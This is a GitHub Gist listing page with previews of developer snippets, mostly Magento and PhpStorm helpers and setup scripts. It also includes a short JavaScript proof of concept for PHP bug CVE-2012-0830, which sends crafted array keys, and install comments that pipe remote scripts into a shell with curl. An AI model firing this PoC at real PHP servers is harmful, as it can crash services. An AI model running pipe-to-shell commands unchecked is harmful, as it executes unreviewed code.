Skip to content

Instantly share code, notes, and snippets.

View oliver-montes's full-sized avatar

Oliver Montes oliver-montes

View GitHub Profile
@dav
dav / gist:3738695
Created September 17, 2012 17:40
Script to copy photos/videos into iPhone Simulator
require 'etc'
require 'fileutils'
# Copies the most recent MAX_IMAGES photos/videos from the device image dir.
# I use Dropbox to sync my device images to my workstation disk
MAX_IMAGES=500
USER_HOME_DIR = Etc::getpwuid.dir
DEVICE_IMAGES_DIR="#{USER_HOME_DIR}/Dropbox/Camera Uploads"
SIMULATOR_IMAGES_DIR="#{USER_HOME_DIR}/Library/Application Support/iPhone Simulator/5.1/Media/DCIM/100APPLE"
@laurent35240
laurent35240 / PHP.xml
Created July 26, 2012 21:26
Magento snippets for PhpStorm (file location is ~/.WebIde40/config/templates/PHP.xml)
<?xml version="1.0" encoding="UTF-8"?>
<templateSet group="PHP">
<template name="help" value="Mage::helper('$helperName$')" description="Mage::helper" toReformat="false" toShortenFQNames="true">
<variable name="helperName" expression="" defaultValue="core" alwaysStopAt="true" />
<context>
<option name="HTML_TEXT" value="false" />
<option name="HTML" value="false" />
<option name="XSL_TEXT" value="false" />
<option name="XML" value="false" />
<option name="CSS" value="false" />
@ashsmith
ashsmith / actionsxml.xml
Created May 30, 2012 12:43
Magento 1.7.0.0 Dataflow Profile for Importing Product Images
<action type="dataflow/convert_parser_csv" method="parse">
<var name="delimiter"><![CDATA[,]]></var>
<var name="enclose"><![CDATA[]]></var>
<var name="fieldnames"></var>
<var name="map">
<map name="sku"><![CDATA[sku]]></map>
<map name="image"><![CDATA[image]]></map>
<map name="image_label"><![CDATA[image_label]]></map>
<map name="small_image"><![CDATA[small_image]]></map>
<map name="small_image_label"><![CDATA[small_image_label]]></map>
@aschroder
aschroder / gist:2469319
Created April 23, 2012 07:17
Magento REST API PHP test harness (admin and customer)
<?php
/**
* Copyright Magento 2012
* Example of products list retrieve using Customer account via Magento
REST API. OAuth authorization is used
*/
$callbackUrl = "http://yourhost/oauth_customer.php";
$temporaryCredentialsRequestUrl =
"http://magentohost/oauth/initiate?oauth_callback=" .
urlencode($callbackUrl);
@erikh
erikh / hack.sh
Created March 31, 2012 07:02 — forked from DAddYE/hack.sh
OSX For Hackers
#!/usr/bin/env sh
##
# This is script with usefull tips taken from:
# https://github.com/mathiasbynens/dotfiles/blob/master/.osx
#
# install it:
# curl -sL https://raw.github.com/gist/2108403/hack.sh | sh
#
@tim-reynolds
tim-reynolds / changelogo.layout.update.xml
Created March 27, 2012 14:26
Magento: Change company logo for specific CMS page
<!--
--Tim Reynolds (@razialx) 2012 - Do whatever you want license -
--
--If you need to change the company logo on a specific page you can do this easily using
--Layout Update XML. On the CMS page editor in the Magento Admin, go to the Design tab
--on the left. There will be a large text area labeled 'Layout Update XML'
--
--Insert the following XML into it.
--
--This is using Layout actions to call the method setLogo(src,alt) on the Block class
// Simple proof of concept for PHP bug (CVE-2012-0830) described by Stefan Esser (@i0n1c)
// http://thexploit.com/sec/critical-php-remote-vulnerability-introduced-in-fix-for-php-hashtable-collision-dos/
// Generate 1000 normal keys and one array
function createEvilObj () {
var evil_obj = {};
for (var i = 0; i < 1001; i++) {
evil_obj[i] = 1;
}
evil_obj['kill[]'] = 'kill';
@brankoajzele
brankoajzele / gist:1430101
Created December 4, 2011 12:37
Inchoo_Phonebook Magento Test Extension: Test the extension EAV model & collection
<?php
$phonebookUser = Mage::getModel('inchoo_phonebook/user');
$phonebookUser->setFristname('John');
$phonebookUser->setLastname('Doe');
$phonebookUser->setEmail('john.doe@magento.com');
$phonebookUser->setAddress('Sample address line here');
$phonebookUser->setIsActive(true);
@predominant
predominant / ubuntu-1104-nginx-base.sh
Created October 5, 2011 15:19
Install Ubuntu 11.04 Nginx based web server with PHP-FPM, MySQL and MongoDB
#!/bin/bash
###
#
# Copyright (c) 2011 Cake Development Corporation (http://cakedc.com)
#
# Ubuntu 11.04 based web server installation script
# Run this by executing the following from a fresh install of Ubuntu 11.04 server:
#
# bash -c "$(curl -fsSL https://raw.github.com/gist/1264701)" <mysqlPassword>
@colinmollenhour
colinmollenhour / makePhpstormMap.php
Last active October 6, 2023 13:26
Generate map of factory method arguments to resolved class names for Magento projects
<?php
/* This script generates a mapping of factory methods/parameters to the resulting class
* names in such a way that PhpStorm 6.0.1 can use for autocompletion and chaining.
*
* Example:
* cd [magento root]
* php ~/makePhpstormMap.php > .phpstorm.meta.php
*
*/